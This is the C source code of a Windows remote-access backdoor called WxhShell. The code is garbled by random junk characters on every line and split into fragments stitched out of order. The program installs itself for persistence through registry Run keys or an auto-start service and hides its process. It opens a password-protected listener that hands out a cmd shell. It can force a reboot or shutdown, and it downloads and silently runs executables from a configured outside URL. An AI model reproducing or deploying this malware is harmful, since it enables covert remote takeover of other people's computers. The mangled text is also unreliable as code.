    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QqM[W/&R  
    if(Boot(SHUTDOWN)) C HnclT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f2g tz{r  
    else { 1AJ6NBC&c  
    closesocket(wsh); `Vvi]>,cg`  
    ExitThread(0); 7L~ *%j  
    } Du_5iuMh  
    break; zs=3e~o3  
    } MlV(XG>'  
  // 获取shell z5@XFaQ  
  case 's': { &}DfIP<  
    CmdShell(wsh); a`wjZ"}'[  
    closesocket(wsh); 2 ZK]}&yC  
    ExitThread(0); 7Kw'Y8  
    break; +C% 6jGGh  
  } J|W E&5'  
  // 退出 dGZie .Zx  
  case 'x': { ':.Hz]]/A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a>j}@8[J  
    CloseIt(wsh); {!Qu(%  
    break; u^MKqI  
    } M`Y^hDl6  
  // 离开 f:-)S8OJ  
  case 'q': { J;& y?%{@5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :jTSO d[r  
    closesocket(wsh); EL,k z8  
    WSACleanup(); j\C6k  
    exit(1); /,G `V  
    break; +Tum K.  
        } 1T|f<ChIF<  
  } ^50dF:V(1  
  } vr;`h/  
12 p`ZD=  
  // 提示信息 JM7mQ'`Ud  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~& -h5=3  
} #-yCR  
  } r;Sk[Y5#  
]p!{   
  return; bZ* = fdh  
} FWbp;v{  
uj.i(U s  
// shell模块句柄 Pb&tWv\ql  
int CmdShell(SOCKET sock) yGR{-YwU!  
{ v,<14w  
STARTUPINFO si; ]-gyXE1.r  
ZeroMemory(&si,sizeof(si)); G9:XEEN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bRvGetX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H<d~AurX)J  
PROCESS_INFORMATION ProcessInfo; o/N!l]r  
char cmdline[]="cmd"; 8c5YX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @!`__>K  
  return 0; 6n]+(=  
} BqNsW (+  
`'1g>Ebk0  
// 自身启动模式 5/"$ _7"{a  
int StartFromService(void) y[m,t}gi  
{ I}PI  
typedef struct <r}wQ\F#  
{ SwOW%o  
  DWORD ExitStatus; +d3|Up8=  
  DWORD PebBaseAddress; 8?Zhh.  
  DWORD AffinityMask; J ?o  
  DWORD BasePriority; UGAV"0  
  ULONG UniqueProcessId; jR%*,IeB  
  ULONG InheritedFromUniqueProcessId; KlT:&1SB9  
}   PROCESS_BASIC_INFORMATION; 4)gG_k  
1_+ h"LE  
PROCNTQSIP NtQueryInformationProcess; ~nA k-toJ  
|N/d }  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; re*}a)iL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s|\)Y*B`  
%#2$B+  
  HANDLE             hProcess; DhE-g<  
  PROCESS_BASIC_INFORMATION pbi; 9,?~dx  
5f*_K6,v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nXT`7  
  if(NULL == hInst ) return 0; _ $a3lR  
oxxuw Dcl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0GUJc}fgvN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t\,Y<9{w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eIvZhi  
mi=mwN%UB  
  if (!NtQueryInformationProcess) return 0; 7DAP_C  
%axr@o[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %0GwO%h},  
  if(!hProcess) return 0; =gj?!d`  
cO J`^^P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0=>$J WF  
Xl4}S"a  
  CloseHandle(hProcess); Lap?L/NS  
^*AI19w!Ys  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c,@Vz 7c  
if(hProcess==NULL) return 0; ^5X?WA,Z99  
<@Q27oEuA  
HMODULE hMod; Y:DopKRD  
char procName[255]; T?RY~GA  
unsigned long cbNeeded; ):K%  
VukbvBWPN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %RD\Sb4YV  
=F@ +~)_  
  CloseHandle(hProcess); ZXx1S?u  
t=Oq<r  
if(strstr(procName,"services")) return 1; // 以服务启动 T f3CyH!k  
mOJdx-q?r  
  return 0; // 注册表启动 2^B_iyF;  
} LGhK)]:  
RiTL(Yx  
// 主模块 )^(gwE  
int StartWxhshell(LPSTR lpCmdLine) `W x| 4  
{ >J;TtNE:  
  SOCKET wsl; JRB6T_U  
BOOL val=TRUE; {dF@Vg_n  
  int port=0; 1WtE] D  
  struct sockaddr_in door; ]zYIblpde  
%6q82}#`  
  if(wscfg.ws_autoins) Install(); e(s0mbJE  
q|ce7HnK  
port=atoi(lpCmdLine); no+ m.B  
^;F/^ _  
if(port<=0) port=wscfg.ws_port; )5@P|{FF  
S})f`X9_}  
  WSADATA data; ~R;/u")@e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uqcG3Pi  
r:sa|+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J=-z~\f56  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OP\jO DX  
  door.sin_family = AF_INET; {|oWU8.l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $ 5"  
  door.sin_port = htons(port); 45 ^ Z5t  
-1 dD~S$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R([zlw~B5  
closesocket(wsl); z6w'XA1_+t  
return 1; a &tWMxBr  
} -. *E<%  
mP*$wE9b,:  
  if(listen(wsl,2) == INVALID_SOCKET) { W_@ b. 1  
closesocket(wsl); )<HvIr(xr  
return 1; KH,f'`  
} = 9Yf o,F  
  Wxhshell(wsl); v9 \n=Z  
  WSACleanup(); r]Hrz'C`  
$*eYiz3Ue  
return 0; ~+{*KPiD  
N&G'i.w/  
} 2Rw<0.i|  
-o~zb-E  
// 以NT服务方式启动 d21thV ,S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $Z;8@O3  
{ 0y$VPgsKf  
DWORD   status = 0; N/F_,>E  
  DWORD   specificError = 0xfffffff; WzFXF{(  
]0'cdC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 07SW$INb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D`QMlRzXy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /\Nc6Z/ L  
  serviceStatus.dwWin32ExitCode     = 0; Yp(0XP5o  
  serviceStatus.dwServiceSpecificExitCode = 0; D 6'd&U{_  
  serviceStatus.dwCheckPoint       = 0; 8G)~#;x1  
  serviceStatus.dwWaitHint       = 0; 1^^{;R7N  
=( ZOn=IL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zsapu1HoL\  
  if (hServiceStatusHandle==0) return; *Z"cXg^ti  
:sw5@JdJ  
status = GetLastError(); ~ ?nn(Q-  
  if (status!=NO_ERROR) s:'>G;p  
{ ]+`K\G ^X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |?jgjn&RQ  
    serviceStatus.dwCheckPoint       = 0; T x Mh_  
    serviceStatus.dwWaitHint       = 0; (su7*$wV  
    serviceStatus.dwWin32ExitCode     = status; a4uy}@9z  
    serviceStatus.dwServiceSpecificExitCode = specificError;  #NyO'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zq + 2@"q  
    return; bCP2_h3*  
  } f'ld6jt|%  
{ (.@bT@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;e_us!Sn  
  serviceStatus.dwCheckPoint       = 0; kT   
  serviceStatus.dwWaitHint       = 0; PJ:!O?KVq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >7@,,~3  
} i5(qJ/u  
KiG19R$  
// 处理NT服务事件,比如:启动、停止 #:=c)[G8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v9J1Hha#  
{ b`%u}^B {  
switch(fdwControl) "E7<S5 cr  
{ V %[t'uh  
case SERVICE_CONTROL_STOP: tWl' )^  
  serviceStatus.dwWin32ExitCode = 0; 5f_x.~ymA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s8A"x`5(  
  serviceStatus.dwCheckPoint   = 0; 851BOkRal4  
  serviceStatus.dwWaitHint     = 0; (8~mf$ zx,  
  { bkR~>F]FAu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8=bn TJf  
  } :icpPv  
  return; f.` 8vaV  
case SERVICE_CONTROL_PAUSE: noaR3)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N (\n$bpTt  
  break; {pi_yr3  
case SERVICE_CONTROL_CONTINUE: f }r \  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >~7XBb08  
  break; **-rPonM[  
case SERVICE_CONTROL_INTERROGATE: {88|J'*L  
  break; 8 |= c3Z  
}; `tO t+>YWn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >&>EjK4?  
} ,;YNI  
x| D|d}  
// 标准应用程序主函数 (e_p8[x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fb0)("_V  
{ ;L",K?6#  
r9-ayp#pC  
// 获取操作系统版本 73 1RqUR  
OsIsNt=GetOsVer(); &B :L9^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0gOca +&  
e6J>qwD?  
  // 从命令行安装 Tw%1m  
  if(strpbrk(lpCmdLine,"iI")) Install(); vx6lud0k}  
t~}c"|<t  
  // 下载执行文件 DdISJWc'`5  
if(wscfg.ws_downexe) { D0 q42+5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DHjfd+E=s  
  WinExec(wscfg.ws_filenam,SW_HIDE); C:AV?  
} <  j  
C_ ;nlG6  
if(!OsIsNt) { 3GL?&(eU;  
// 如果时win9x,隐藏进程并且设置为注册表启动 v}5YUM0H`  
HideProc(); 7r3CO<fb  
StartWxhshell(lpCmdLine); "tO m  
} #CJ ET  
else {[bpvK  
  if(StartFromService()) 1H%p|'FKA  
  // 以服务方式启动 L|D9+u L  
  StartServiceCtrlDispatcher(DispatchTable); O,+9r_Gh  
else &&jQ4@m}j  
  // 普通方式启动 PGZe'r1E9  
  StartWxhshell(lpCmdLine); 37IHn6r\  
r.u\qPT&  
return 0; ~[aV\r?  
} toj5b;+4F  
'9qyf<MlY  
y_Gs_xg  
A#Ga!a  
=========================================== <AJRU l  
N*PJ m6-  
SMd[*9l [  
R:'&>.AUw  
\Lbwfd=  
%PPy0RZ^  
" k ^KpQ&n  
U0|bKU  
#include <stdio.h> gQ{<2u  
#include <string.h> "9X(.v0ze  
#include <windows.h> zLxuxf~4@  
#include <winsock2.h> C>-}BeY!  
#include <winsvc.h> >pol'=  
#include <urlmon.h> ]f`UflMO8  
V'za,.d-  
#pragma comment (lib, "Ws2_32.lib") "NEKz  
#pragma comment (lib, "urlmon.lib") z#n+iC$9  
'UGgY3  
#define MAX_USER   100 // 最大客户端连接数 %k"hzjXAw  
#define BUF_SOCK   200 // sock buffer 9N2.:<so  
#define KEY_BUFF   255 // 输入 buffer K0@bh/i/^  
#K`[XA  
#define REBOOT     0   // 重启 @QYCoEU8J  
#define SHUTDOWN   1   // 关机 39~WP$GM  
%3=T7j  
#define DEF_PORT   5000 // 监听端口 juu"V]Q 1  
Du-Q~I6  
#define REG_LEN     16   // 注册表键长度 ?}uvpB1}  
#define SVC_LEN     80   // NT服务名长度 "cOBEhn%l  
kA2)T,s74  
// 从dll定义API 3+ C;zDKa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f*m^x7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W=#jtU`:5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y_XRf8Sw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nkN2Bqt$  
Oz xiT +  
// wxhshell配置信息 x6\^dVR}  
struct WSCFG { ;?-{Uk  
  int ws_port;         // 监听端口 8H3O6ro  
  char ws_passstr[REG_LEN]; // 口令 ePSD#kY5  
  int ws_autoins;       // 安装标记, 1=yes 0=no "HJQAy?W  
  char ws_regname[REG_LEN]; // 注册表键名 O!F"w !5@  
  char ws_svcname[REG_LEN]; // 服务名 dJb7d`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SM<qb0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >RiU/L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O "Aeg|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oChf&W 8u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Idj Z2)$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sI#h&V,9  
O`~L*h_  
}; 5mZ9rLn  
rdX;  
// default Wxhshell configuration =wl0  
struct WSCFG wscfg={DEF_PORT, Z ]OX6G  
    "xuhuanlingzhe", ZS&lXgo  
    1, y7z ,I  
    "Wxhshell", B\dhw@hM  
    "Wxhshell", n*~#]%4  
            "WxhShell Service", mm | *  
    "Wrsky Windows CmdShell Service", I wu^@  
    "Please Input Your Password: ", LH~ t5  
  1, Ml_!)b  
  "http://www.wrsky.com/wxhshell.exe", EYZ,GT-I  
  "Wxhshell.exe" g(F2IpUm/  
    }; ,(+ZD@Rg  
D]V&1n  
// 消息定义模块 #vR5a}BAk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JgldC[|7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?Xp+5{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <.@w%rvG  
char *msg_ws_ext="\n\rExit."; 368H6 Jj  
char *msg_ws_end="\n\rQuit."; hLyV'*}  
char *msg_ws_boot="\n\rReboot..."; !:D,|k\m  
char *msg_ws_poff="\n\rShutdown..."; 4DGKZh'm"  
char *msg_ws_down="\n\rSave to "; .n}k,da@(  
r+MqjdXG  
char *msg_ws_err="\n\rErr!"; ?&b"/sRS  
char *msg_ws_ok="\n\rOK!"; hnv0Loe.IW  
KeC&a=HL  
char ExeFile[MAX_PATH]; ve*6WDK,H  
int nUser = 0; w6l56 CB`  
HANDLE handles[MAX_USER]; {6wy}<ynC+  
int OsIsNt; x=1Sbs w{  
*jy"g64j  
SERVICE_STATUS       serviceStatus; O$Dj_R#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K$ |!IXs  
#XAH`L\  
// 函数声明 u%CJjy  
int Install(void); 2AjP2  
int Uninstall(void); 3,@|kN<  
int DownloadFile(char *sURL, SOCKET wsh); U9//m=_  
int Boot(int flag); < 'r<MA<  
void HideProc(void); j1dz'G}hj  
int GetOsVer(void); ]=%u\~AvL  
int Wxhshell(SOCKET wsl); CSE!Abg  
void TalkWithClient(void *cs); `Jl_'P}  
int CmdShell(SOCKET sock); TfA;4 ^  
int StartFromService(void); 5R#:ALwX:  
int StartWxhshell(LPSTR lpCmdLine); |Lz7}g=6  
dcN4N5r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &. "ltB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %VgK::)r  
zm^ 5WH  
// 数据结构和表定义 ;:ocU?  
SERVICE_TABLE_ENTRY DispatchTable[] = yc@ :*Z  
{ D+Z,;XZ  
{wscfg.ws_svcname, NTServiceMain}, rj;~SC{  
{NULL, NULL} g_MxG!+(V  
}; M_F4I$V4  
9QN(Wq@  
// 自我安装 x@<!#d+  
int Install(void) <D(|}5qR  
{ LQa1p  
  char svExeFile[MAX_PATH]; q62U+o9G  
  HKEY key; a(+u"Kr z  
  strcpy(svExeFile,ExeFile); @S  Quc  
_v=zFpR  
// 如果是win9x系统,修改注册表设为自启动 R&1 xZFj  
if(!OsIsNt) { 3+:uV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U,^jN|v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wEbO|S+K1  
  RegCloseKey(key); _K|?;j#x0k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H?dEgubg7]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P, SI0$Z  
  RegCloseKey(key); z%WOv ~8~  
  return 0; ~=pyA#VVJ"  
    } Kl+4A}Uo  
  } L"V~M F  
} q|R$A8)L.  
else { uWerC?da  
#'h(o/hz&&  
// 如果是NT以上系统,安装为系统服务 ~1.~4~um  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *", BP]]  
if (schSCManager!=0) $*dY f  
{ #h7 $b@  
  SC_HANDLE schService = CreateService T ^z M m  
  ( ?nx 1{2[  
  schSCManager, m?D k(DJ  
  wscfg.ws_svcname, 82Nw 6om6i  
  wscfg.ws_svcdisp, !fG`xZ~  
  SERVICE_ALL_ACCESS, {c:ef@'U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WevXQ-eKm  
  SERVICE_AUTO_START, ?anKSGfj  
  SERVICE_ERROR_NORMAL, ?VT ]bxb  
  svExeFile, H.: [# a  
  NULL, 9IG3zMf  
  NULL, U-:_4[  
  NULL, l j*J|%~  
  NULL, _<G%  
  NULL t%>x}b"2T  
  ); p` LPO  
  if (schService!=0) I~I$/j]e`  
  { &>o?0A6  
  CloseServiceHandle(schService); \%:]o-+"I  
  CloseServiceHandle(schSCManager); {uMqd-Uu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9k>=y n  
  strcat(svExeFile,wscfg.ws_svcname); Y=N; Bj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H>2f M^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T@H2[ 7[;  
  RegCloseKey(key); |MXv  w6P  
  return 0; W&(98}oT  
    } i#y3QCNqf^  
  } )Y+?)=~  
  CloseServiceHandle(schSCManager); iVGc\6+'  
} )|zna{g\  
} 2Md'<.  
d[.JEgU  
return 1; aF\?X &|  
} V2?&3Z) W  
vVi))%&S(  
// 自我卸载 A/"p PO  
int Uninstall(void) uua1_# a  
{ &$</|F)y  
  HKEY key; Q-GnNT7MB3  
\dag~b<  
if(!OsIsNt) { A?xb u*zV,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |E)IJj 3  
  RegDeleteValue(key,wscfg.ws_regname); /y"Y o  
  RegCloseKey(key); b(~ gQM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;hLne0|)}  
  RegDeleteValue(key,wscfg.ws_regname); /8` S}g+  
  RegCloseKey(key); cAE.I$T(  
  return 0; 21BlLz  
  } vYNh0)$%F  
} IFY,j8~q  
} b]h]h1~hHH  
else { afMIqQ?  
5PQs1B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +$+'|w  
if (schSCManager!=0) zoV-@<Eh  
{ 1!E+(Iq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,e ~@  
  if (schService!=0) ;U|^Tsuc`  
  { i%~4>k  
  if(DeleteService(schService)!=0) { THmX=K4=?  
  CloseServiceHandle(schService); tU%-tlU9?  
  CloseServiceHandle(schSCManager); o?J>mpC  
  return 0; IPl>bD~=p  
  } $[Fh|%\  
  CloseServiceHandle(schService); "]nbM}>  
  } {[4Y(l1  
  CloseServiceHandle(schSCManager); <'4DMZ-G  
} G'z&U?Ng  
} pAV}hB  
URW'*\Xjb  
return 1; PaEsz$mgy  
} S`"M;%T  
rY>{L6d  
// 从指定url下载文件 r^?%N3  
int DownloadFile(char *sURL, SOCKET wsh) Nky%v+r  
{ V\kf6E  
  HRESULT hr; e3wFi,/@  
char seps[]= "/"; 5|-(Ic  
char *token; x c-=;|s  
char *file; *Df|D/,WE  
char myURL[MAX_PATH]; (iK0T.  
char myFILE[MAX_PATH]; C<6IiF[>%  
`\&qk)ZP  
strcpy(myURL,sURL); {nbD5 ?   
  token=strtok(myURL,seps); Ox&g#,@h  
  while(token!=NULL) 1GW=QbO 6  
  { ^AD/N|X^  
    file=token; )*^PMf  
  token=strtok(NULL,seps); ~R)Km`t  
  } r! 5C3  
f$k#\=2%  
GetCurrentDirectory(MAX_PATH,myFILE); odquAqn  
strcat(myFILE, "\\"); fh \<tnY  
strcat(myFILE, file); "0g1'az}  
  send(wsh,myFILE,strlen(myFILE),0); HqU"i Y>b  
send(wsh,"...",3,0); ;G~0 VM2|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +6f5uMKUvs  
  if(hr==S_OK) SM:{o&S`  
return 0; QHsS|\u  
else +iwNM+K/gQ  
return 1; mYb8   
)j@k[}R#g  
} FQ?H%UcW  
[/*85 4  
// 系统电源模块 d?&?$qf[  
int Boot(int flag) @}x)>tqD  
{ _q=$L eO5  
  HANDLE hToken; x-Z`^O  
  TOKEN_PRIVILEGES tkp; s+^o[R T3  
@^;WC+\0  
  if(OsIsNt) { k KL^U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (1(3:)@S6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NeHR% a2~  
    tkp.PrivilegeCount = 1; `/]8C &u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $K,rVTU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *s?&)][  
if(flag==REBOOT) { XT= #+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _:M6~XHo  
  return 0; ^=D77 jS  
} .^dj B x  
else { Roy`HU ;0a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p0$K.f| ^  
  return 0; Gr?"okaA  
} klUxt?-  
  } 5HL JkOV5  
  else { n4k. tq  
if(flag==REBOOT) { ERGDo=j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R.|fc5_"+  
  return 0; @w6^*Z_hQ  
} F>n<;<  
else { ,A =%!p+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V>A@Sw  
  return 0; ;b cy(Fp,\  
} xJ>hN@5}i  
} .XURI#b  
xYM/{[  
return 1; m]N 4.J  
} Ej'a G   
f5wOk& G  
// win9x进程隐藏模块 j^iH[pN] \  
void HideProc(void) -&))$h3o\  
{ PM=I  
:XBeGNI*#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s.C-II?e  
  if ( hKernel != NULL ) 9Wx q  
  { og. dYs7W4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]ueq&|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lkk'y})/  
    FreeLibrary(hKernel); <LZvG IMl  
  } 3Eiy/  
,O 3"r;  
return; i]hFiX  
} O%(:8nIgZ  
Gu*;z% b2  
// 获取操作系统版本 X-oou'4<  
int GetOsVer(void) s;8J= \9W  
{ fRaVY`|wK  
  OSVERSIONINFO winfo; G0> 'H1Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r1ctW#\~8  
  GetVersionEx(&winfo); 0 "pm7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wvT!NN K2  
  return 1; N[aK#o,  
  else O~fRcf:Q  
  return 0; vj?9X5A_  
} cQgmRHZ]  
dHf_&X2A  
// 客户端句柄模块 q$b/T+-ec  
int Wxhshell(SOCKET wsl) _~Lhc'^p*  
{ <po(7XB  
  SOCKET wsh; Eto0>YyZ  
  struct sockaddr_in client; s'~_pP  
  DWORD myID; Lk#u^|Eq7=  
JWMIZ{/M  
  while(nUser<MAX_USER) ':o.vQdJ  
{ .t"s>jq 1  
  int nSize=sizeof(client); tEiN(KA!5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (X>r_4W$  
  if(wsh==INVALID_SOCKET) return 1; M9bb,`X>Q  
"vU:qwm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v8 6ls[lzu  
if(handles[nUser]==0) nV:.-JR  
  closesocket(wsh); ' 'UiQ   
else 2$[u&__E  
  nUser++; 68 -I2@&  
  } CzNSJVE5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u^ngD64  
wAkoX  
  return 0; iKp4@6an  
} nfrC@Av  
<-}6X  
// 关闭 socket p+9vSM #  
void CloseIt(SOCKET wsh) YroKC+4"i  
{ Q*mPU=<  
closesocket(wsh); )vuxy  
nUser--; 3.R?=npA  
ExitThread(0); T=b5th}  
} @zd)]O]xH?  
Bj%{PK  
// 客户端请求句柄 tQ?? nI2  
void TalkWithClient(void *cs) +Icg;m{  
{ +(cs,?`\  
@#8F5G#  
  SOCKET wsh=(SOCKET)cs; [ Y'Xop6G  
  char pwd[SVC_LEN]; g&BF#)7C  
  char cmd[KEY_BUFF]; RMLs(?e  
char chr[1]; FE$)[w,m  
int i,j; S1&6P)X.Za  
i/)Uj-*G)  
  while (nUser < MAX_USER) { (q:L_zFj>"  
"V?U^L>SF  
if(wscfg.ws_passstr) { 42# rhgW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r%_)7Wk*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 47 m:z5;  
  //ZeroMemory(pwd,KEY_BUFF); JRU)AMMU&  
      i=0; (MNbABZQ  
  while(i<SVC_LEN) { J,+| Fb  
O]^E%;(]}i  
  // 设置超时 A5?[j QT0  
  fd_set FdRead; fS!%qr  
  struct timeval TimeOut; p1G!-\l  
  FD_ZERO(&FdRead); 6I_W4`<VeZ  
  FD_SET(wsh,&FdRead); V/762&2X  
  TimeOut.tv_sec=8; `;QpPSw+  
  TimeOut.tv_usec=0; a#j0N5<Nl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mQJRq??P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lm]4zs /A  
g<}K^)x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e:!&y\'"9  
  pwd=chr[0]; W~dS8B=<  
  if(chr[0]==0xd || chr[0]==0xa) { Bv!j.$0d{  
  pwd=0; ;t"#7\  
  break; hua{g_  
  } *PZNZ{|m  
  i++; JsVW:8QO~  
    } jk 9K>4W  
qBKIl= ne  
  // 如果是非法用户,关闭 socket oD~VK,.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9<\wa/#  
} 9:YiLoz?  
H$;K(,'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tfs7SC8ta  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XP6R$0yN  
$S=lm {  
while(1) { [y=k}W}z  
<\2,7K{{+;  
  ZeroMemory(cmd,KEY_BUFF); r-&4<=C/N  
0gfa7+Y  
      // 自动支持客户端 telnet标准   VJZ   
  j=0; Xm\tyLY  
  while(j<KEY_BUFF) { 4J-)+C/edx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J/R=O>  
  cmd[j]=chr[0]; i<)c4  
  if(chr[0]==0xa || chr[0]==0xd) { MCL5a@BX)  
  cmd[j]=0; V0ulIKck  
  break; bWUo(B#*I  
  } l)=Rj`M  
  j++; N;<<-`i  
    } (#LV*&K%IC  
rK}*Uwut  
  // 下载文件 jyLpe2 S  
  if(strstr(cmd,"http://")) { ?<xGO@b .  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WR gAc%  
  if(DownloadFile(cmd,wsh)) 2/qfK+a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &{/ `Q ,  
  else O'A''}M  
